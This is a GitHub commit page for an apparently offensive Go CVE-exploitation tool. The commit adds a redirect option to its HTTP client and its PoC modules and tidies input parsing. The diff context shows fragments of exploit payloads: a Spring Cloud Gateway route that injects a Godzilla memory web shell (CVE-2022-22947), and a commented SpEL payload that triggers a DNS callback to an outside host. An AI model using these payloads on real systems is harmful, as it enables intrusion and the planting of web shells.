Skip to content

Commit 3b32cb6

Browse files
committed
🚨 增加重定向参数,用户可以自定义是否要3xx跳转
1 parent 75e19b8 commit 3b32cb6

File tree

13 files changed

+74
-44
lines changed

13 files changed

+74
-44
lines changed

cmd/commons/core/banner.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ const banner = `
1515
`
1616

1717
// TODO 修改版本号
18-
const version = "0.1.5"
18+
const version = "0.1.4"
1919

2020
func ShowBanner() {
2121
fmt.Println(banner)

cmd/commons/core/options.go

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -48,6 +48,8 @@ type Options struct {
4848
H1 bool
4949
// 更新到最新版本
5050
Update bool
51+
// 重定向
52+
Redirect bool
5153
}
5254

5355
func (o Options) toString() interface{} {
@@ -75,6 +77,7 @@ func ParseOptions() *Options {
7577
flag.BoolVar(&options.Shell, "shell", false, "whether to enter the interactive shell")
7678
flag.BoolVar(&options.H1, "h1", false, "force to use HTTP 1.1")
7779
flag.BoolVar(&options.Update, "update", false, "update to the latest version")
80+
flag.BoolVar(&options.Redirect, "redirect", false, "whether to follow redirect")
7881
flag.Parse()
7982

8083
// TODO 修改版本号

cmd/commons/core/update2.go

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@ import (
44
"bufio"
55
"fmt"
66
"github.com/blang/semver"
7+
"github.com/projectdiscovery/stringsutil"
78
"github.com/rhysd/go-github-selfupdate/selfupdate"
89
log "github.com/sirupsen/logrus"
910
"os"
@@ -48,13 +49,17 @@ func confirmAndSelfUpdate() {
4849
return
4950
}
5051

51-
fmt.Print("Do you want to update to", latest.Version, "? (y/n): ")
52+
fmt.Print("Do you want to update to latest version ", latest.Version, "? (y/n): ")
5253
input, err := bufio.NewReader(os.Stdin).ReadString('\n')
53-
if err != nil || (input != "y\n" && input != "n\n") {
54+
// 如果input 存在\r或者\n,则去掉
55+
if stringsutil.HasSuffixAny(input, "\r\n", "\n", "\r") {
56+
input = stringsutil.TrimSuffixAny(input, "\r\n", "\n", "\r")
57+
}
58+
if err != nil || (input != "y" && input != "n" && input != "Y" && input != "N") {
5459
log.Println("Invalid input")
5560
return
5661
}
57-
if input == "n\n" {
62+
if input == "n" {
5863
return
5964
}
6065

cmd/commons/poc/2021/CVE-2021-26084.go

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,7 @@ func (p CVE202126084) SendPoc(target string, hashmap map[string]interface{}) {
3232
reqmap["proxy"] = hashmap["Proxy"].(string)
3333
reqmap["mode"] = hashmap["Mode"].(int)
3434
reqmap["h1"] = hashmap["H1"].(bool)
35+
reqmap["redirect"] = hashmap["Redirect"].(bool)
3536

3637
file := hashmap["Out"].(string)
3738
utils.Send(reqmap)

cmd/commons/poc/2022/CVE-2022-22947.go

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -57,11 +57,13 @@ func (p CVE202222947) SendPoc(target string, hashmap map[string]interface{}) {
5757
payload := "{\n \"id\": \"%s\",\n \"filters\": [{\n \"name\": \"AddResponseHeader\",\n \"args\": {\"name\": \"Result\",\"value\": \"%s\"}\n }],\n \"uri\": \"http://127.0.0.1\",\n \"order\": 0\n}"
5858
a := fmt.Sprintf(payload, id, GodzillaNettyMemshell)
5959
reqmap["body"] = a
60+
// 默认配置
6061
reqmap["timeout"] = hashmap["Timeout"].(int)
6162
reqmap["retry"] = hashmap["Retry"].(int)
6263
reqmap["proxy"] = hashmap["Proxy"].(string)
6364
reqmap["mode"] = hashmap["Mode"].(int)
6465
reqmap["h1"] = hashmap["H1"].(bool)
66+
reqmap["redirect"] = hashmap["Redirect"].(bool)
6567

6668
f := 0
6769
for true {

cmd/commons/poc/2022/CVE-2022-22963.go

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -28,12 +28,13 @@ func (p CVE202222963) SendPoc(target string, hashmap map[string]interface{}) {
2828
//payload := "T(java.net.InetAddress).getByName(\"" + ranStr + ".skysa.eyes.sh\")"
2929
log.Debugf("payload: %s", payload)
3030
log.Debugf("dnslog: %s", dnslog)
31-
31+
// 默认参数
3232
reqmap["timeout"] = hashmap["Timeout"].(int)
3333
reqmap["retry"] = hashmap["Retry"].(int)
3434
reqmap["proxy"] = hashmap["Proxy"].(string)
3535
reqmap["mode"] = hashmap["Mode"].(int)
3636
reqmap["h1"] = hashmap["H1"].(bool)
37+
reqmap["redirect"] = hashmap["Redirect"].(bool)
3738
reqmap["headers"] = map[string]string{
3839
"User-Agent": utils.GetUA(),
3940
"Content-Type": "application/x-www-form-urlencoded",

cmd/commons/poc/2022/CVE-2022-22965.go

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -58,6 +58,7 @@ func (p CVE202222965) SendPoc(target string, hashmap map[string]interface{}) {
5858
reqmap["proxy"] = hashmap["Proxy"].(string)
5959
reqmap["mode"] = hashmap["Mode"].(int)
6060
reqmap["h1"] = hashmap["H1"].(bool)
61+
reqmap["redirect"] = hashmap["Redirect"].(bool)
6162
f := 0
6263
for f < 2 {
6364
time.Sleep(time.Second * 1)

cmd/commons/poc/IsAliveUrl.go

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -33,6 +33,7 @@ func (t IsAliveUrl) CheckExp(resp *req.Response, target string, hashmap map[stri
3333
reqmap := req2.NewReqInfoToMap(hashmap)
3434
reqmap["url"] = target
3535
reqmap["method"] = "HEAD"
36+
reqmap["redirect"] = true
3637
headers := map[string]string{
3738
"User-Agent": utils.GetUA(),
3839
}

cmd/commons/req/request.go

Lines changed: 31 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -3,15 +3,16 @@ package req
33
import "github.com/fatih/structs"
44

55
type ReqInfo struct {
6-
Method string
7-
Url string
8-
Body string
9-
Header map[string]string
10-
Proxy string
11-
Timeout string
12-
Retry string
13-
Mode string
14-
H1 bool
6+
Method string
7+
Url string
8+
Body string
9+
Header map[string]string
10+
Proxy string
11+
Timeout string
12+
Retry string
13+
Mode string
14+
H1 bool
15+
Redirect bool
1516
}
1617

1718
//func (r *ReqInfo) Method() string {
@@ -95,37 +96,40 @@ type ReqInfo struct {
9596

9697
func NewReqInfo() ReqInfo {
9798
reqInfo := ReqInfo{
98-
Method: "",
99-
Url: "",
100-
Body: "",
101-
Header: make(map[string]string),
102-
Proxy: "",
103-
Timeout: "10",
104-
Retry: "3",
105-
Mode: "0",
106-
H1: false,
99+
Method: "",
100+
Url: "",
101+
Body: "",
102+
Header: make(map[string]string),
103+
Proxy: "",
104+
Timeout: "10",
105+
Retry: "3",
106+
Mode: "0",
107+
H1: false,
108+
Redirect: false,
107109
}
108110
return reqInfo
109111
}
110112

111113
func NewReqInfoToMap(hashmap map[string]interface{}) map[string]interface{} {
112114
reqInfo := ReqInfo{
113-
Method: "",
114-
Url: "",
115-
Body: "",
116-
Header: make(map[string]string),
117-
Proxy: "",
118-
Timeout: "10",
119-
Retry: "3",
120-
Mode: "0",
121-
H1: false,
115+
Method: "",
116+
Url: "",
117+
Body: "",
118+
Header: make(map[string]string),
119+
Proxy: "",
120+
Timeout: "10",
121+
Retry: "3",
122+
Mode: "0",
123+
H1: false,
124+
Redirect: false,
122125
}
123126
reqmap := structs.Map(reqInfo)
124127
reqmap["timeout"] = hashmap["Timeout"].(int)
125128
reqmap["retry"] = hashmap["Retry"].(int)
126129
reqmap["mode"] = hashmap["Mode"].(int)
127130
reqmap["h1"] = hashmap["H1"].(bool)
128131
reqmap["proxy"] = hashmap["Proxy"].(string)
132+
reqmap["redirect"] = hashmap["Redirect"].(bool)
129133
reqmap["body"] = ""
130134

131135
return reqmap

cmd/commons/utils/httpclient.go

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@ import (
66
"time"
77
)
88

9-
func InIt(mode int, timeout int, proxy string, retry int, h1 bool) (client *req.Client) {
9+
func InIt(mode int, timeout int, proxy string, retry int, h1 bool, redirect bool) (client *req.Client) {
1010
log.Debugf("init httpclient")
1111
client = req.NewClient()
1212
if mode != 0 {
@@ -23,9 +23,13 @@ func InIt(mode int, timeout int, proxy string, retry int, h1 bool) (client *req.
2323
// 设置超时时间
2424
client.SetTimeout(time.Duration(timeout) * time.Second)
2525
client.SetCommonRetryCount(retry)
26+
2627
client.EnableInsecureSkipVerify()
27-
// 重定向设置
28-
client.SetRedirectPolicy(req.NoRedirectPolicy())
28+
// 重定向设置, 如果不设置, 默认为true 即重定向
29+
if !redirect {
30+
log.Debug("redirect is true")
31+
client.SetRedirectPolicy(req.NoRedirectPolicy())
32+
}
2933
// 设置代理
3034
f := IsProxyUrl(proxy)
3135
if f {
@@ -51,8 +55,9 @@ func Send(hashmap map[string]interface{}) (resp *req.Response) {
5155
headers := hashmap["headers"].(map[string]string)
5256
body := hashmap["body"]
5357
h1 := hashmap["h1"].(bool)
58+
redirect := hashmap["redirect"].(bool)
5459

55-
client := InIt(mode, timeout, proxy, retry, h1)
60+
client := InIt(mode, timeout, proxy, retry, h1, redirect)
5661

5762
reqt := client.R().EnableDump()
5863
reqs := SetRequest(reqt, headers, body.(string))

cmd/commons/utils/readfile.go

Lines changed: 13 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@ package utils
22

33
import (
44
"bufio"
5+
"github.com/projectdiscovery/stringsutil"
56
log "github.com/sirupsen/logrus"
67
"os"
78
"os/exec"
@@ -37,18 +38,22 @@ func ReadFile(path string) (urls []string, err error) {
3738
if strings.TrimSpace(str) == "" {
3839
continue
3940
}
40-
// 如果str结尾存在\n,则去掉
41-
if strings.HasSuffix(str, "\n") {
42-
str = strings.TrimSuffix(str, "\n")
43-
}
44-
// 如果str结尾存在\r,则去掉
45-
if strings.HasSuffix(str, "\r") {
46-
str = strings.TrimSuffix(str, "\r")
47-
}
41+
//如果str结尾存在\n,则去掉
42+
//if strings.HasSuffix(str, "\n") {
43+
// str = strings.TrimSuffix(str, "\n")
44+
//}
45+
//如果str结尾存在\r,则去掉
46+
//if strings.HasSuffix(str, "\r") {
47+
// str = strings.TrimSuffix(str, "\r")
48+
//}
4849
//// 如果str结尾存在\r\n,则去掉
4950
//if strings.HasSuffix(str, "\r\n") {
5051
// str = strings.TrimSuffix(str, "\r\n")
5152
//}
53+
54+
if stringsutil.HasSuffixAny(str, "\r\n", "\n", "\r") {
55+
str = stringsutil.TrimSuffixAny(str, "\r\n", "\n", "\r")
56+
}
5257
log.Debugf("The url is : %s", str)
5358
lins = append(lins, str)
5459
}

go.mod

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,7 @@ require (
2222
//github.com/gosuri/uilive v0.0.4 // indirect
2323
//github.com/gosuri/uiprogress v0.0.1 // indirect
2424
github.com/panjf2000/ants/v2 v2.5.0
25+
github.com/projectdiscovery/stringsutil v0.0.0-20210804142656-fd3c28dbaafe
2526
github.com/rhysd/go-github-selfupdate v1.2.3
2627
//github.com/tj/go-update v2.2.5-0.20200519121640-62b4b798fd68+incompatible
2728
)

go.sum

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -136,6 +136,7 @@ github.com/projectdiscovery/ipranger v0.0.2/go.mod h1:kcAIk/lo5rW+IzUrFkeYyXnFJ+
136136
github.com/projectdiscovery/mapcidr v0.0.4/go.mod h1:ALOIj6ptkWujNoX8RdQwB2mZ+kAmKuLJBq9T5gR5wG0=
137137
github.com/projectdiscovery/mapcidr v0.0.9 h1:PIa09fMHdghlmkUeTgHP9bwYnb3k2wXXM2f6LMj26zg=
138138
github.com/projectdiscovery/mapcidr v0.0.9/go.mod h1:zgsrc+UXwcLcBopUNboiI4tpTICbfdTyJZiBi2tx+NI=
139+
github.com/projectdiscovery/stringsutil v0.0.0-20210804142656-fd3c28dbaafe h1:tQTgf5XLBgZbkJDPtnV3SfdP9tzz5ZWeDBwv8WhnH9Q=
139140
github.com/projectdiscovery/stringsutil v0.0.0-20210804142656-fd3c28dbaafe/go.mod h1:oTRc18WBv9t6BpaN9XBY+QmG28PUpsyDzRht56Qf49I=
140141
github.com/rhysd/go-github-selfupdate v1.2.3 h1:iaa+J202f+Nc+A8zi75uccC8Wg3omaM7HDeimXA22Ag=
141142
github.com/rhysd/go-github-selfupdate v1.2.3/go.mod h1:mp/N8zj6jFfBQy/XMYoWsmfzxazpPAODuqarmPDe2Rg=

0 commit comments

Comments
 (0)